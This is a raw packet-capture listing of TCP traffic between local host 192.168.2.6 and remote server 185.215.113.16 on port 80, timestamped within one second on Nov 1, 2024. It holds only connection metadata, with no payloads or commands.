Nov 1, 2024 03:45:24.381448984 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.381448984 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.381453037 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.381481886 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.381513119 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.381520033 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.381555080 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.381597042 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.381607056 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.381618977 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.381640911 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.381675959 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.381707907 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.381719112 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.381730080 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.381791115 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.381838083 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.381849051 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.381860018 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.381871939 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.381902933 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.381907940 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.381937981 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.381968021 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.381979942 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382057905 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382067919 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382083893 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382095098 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382117987 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.382117987 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.382136106 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382157087 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382174015 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.382174015 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.382247925 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382258892 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382277012 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382353067 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382364988 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382375002 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382391930 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.382409096 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.382435083 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382446051 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382456064 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382483959 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.382549047 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.382559061 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382570982 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382580996 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382658005 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382668972 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382695913 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382711887 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.382711887 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.382750034 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382760048 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382772923 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.382797956 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382807970 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382812977 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.382846117 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382865906 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.382915020 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382932901 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382960081 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.382992983 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.383052111 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.383063078 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.383090973 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.383095026 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.383109093 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.383137941 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.383137941 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.383167982 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.383230925 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.383241892 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.383254051 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.383254051 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.383275986 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.383294106 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.383343935 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.383455992 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.383466959 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.383481979 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.383493900 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.383505106 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.383514881 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.383527040 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.383537054 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.383539915 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.383539915 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.383539915 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.383593082 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.393832922 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.423218966 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.423257113 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.423269987 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.423804998 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.445818901 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.445867062 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.445878029 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.445878983 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.445961952 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.445970058 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.445982933 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.446085930 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.446098089 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.446106911 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.446170092 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.446181059 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.446194887 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.446194887 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.446239948 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.446273088 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.446300030 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.446310997 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.446338892 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.446424961 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.512634993 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.512649059 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.512660980 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.512737036 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.512849092 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.512859106 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.512870073 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.512881041 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.512892962 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.512914896 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.512917042 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.512943029 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.513052940 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.513096094 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.513107061 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.513118029 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.513226986 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.513238907 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.513250113 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.513262033 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.513273954 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.513284922 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.513286114 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.513297081 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.513309956 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.513309956 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.513309956 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.513323069 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.513335943 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.513362885 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.513362885 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.513664961 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.513837099 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.513849974 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.513866901 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.513878107 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.513887882 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.513928890 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.514344931 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.514358044 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.514368057 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.514487982 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.514498949 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.514511108 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.514516115 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.514528990 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.514539957 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.514552116 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.514563084 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.514564037 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.514564037 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.514575958 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.514586926 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.514597893 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.514609098 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.514612913 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.514621973 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.514632940 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.514643908 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.514652967 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.514652967 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.514661074 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.514820099 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.515443087 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.515455008 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.515465975 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.515477896 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.515489101 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.515500069 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.515511990 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.515522957 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.515532970 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.515556097 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.515556097 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.515861034 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.516041040 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.516052961 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.516063929 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.516077042 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.516088963 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.516089916 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.516102076 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.516115904 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.516127110 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.516129017 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.516149998 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.516160965 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.516170025 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.516170025 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.516382933 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.538582087 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.538606882 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.538618088 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.538661957 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.538683891 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.538728952 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.538739920 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.538769960 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.538837910 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.560920954 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.560940981 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.560956955 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.560997963 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.561105013 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.561160088 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.561172009 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.561233044 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.561275959 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.561283112 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.561295033 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.561491966 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.561582088 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.561625004 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.561635971 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.561650991 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.561889887 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.627813101 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.627835989 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.627849102 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.627948046 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.627978086 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.627989054 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.628000021 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.628005981 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.628010988 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.628086090 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.628148079 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.628160954 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.628171921 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.628252029 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.628277063 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.628288031 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.628298998 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.628396034 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.628396988 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.628462076 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.628474951 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.628484964 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.628496885 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.628506899 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.628515959 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.628531933 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.628531933 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.628668070 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.628716946 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.628729105 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.628736019 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.628745079 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.628758907 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.628770113 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.628776073 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.628806114 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.628962994 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.628988981 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.628999949 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.629024029 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.629132032 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.629143953 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.629153967 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.629165888 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.629178047 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.629187107 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.629354000 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.629358053 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.629369020 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.629379988 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.629390955 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.629434109 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.629445076 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.629455090 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.629467010 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.629477978 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.629489899 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.629493952 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.629493952 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.629508972 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.629592896 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.629770041 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.629861116 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.629872084 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.629882097 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.629894018 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.629904985 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.629916906 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.629925966 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.629978895 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.630145073 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.630168915 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.630179882 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.630189896 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.630202055 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.630377054 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.630377054 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.630503893 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.630516052 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.630527020 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.630537987 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.630548954 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.630558968 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.630569935 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.630570889 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.630582094 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.630584955 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.630594969 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.630605936 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.630616903 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.630628109 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.630637884 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.630637884 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.630639076 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.630650997 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.630692959 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.630692959 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.630692959 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.631081104 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.631092072 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.631102085 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.631112099 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.631122112 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.631155014 CET	49750	80	192.168.2.6	185.215.113.16
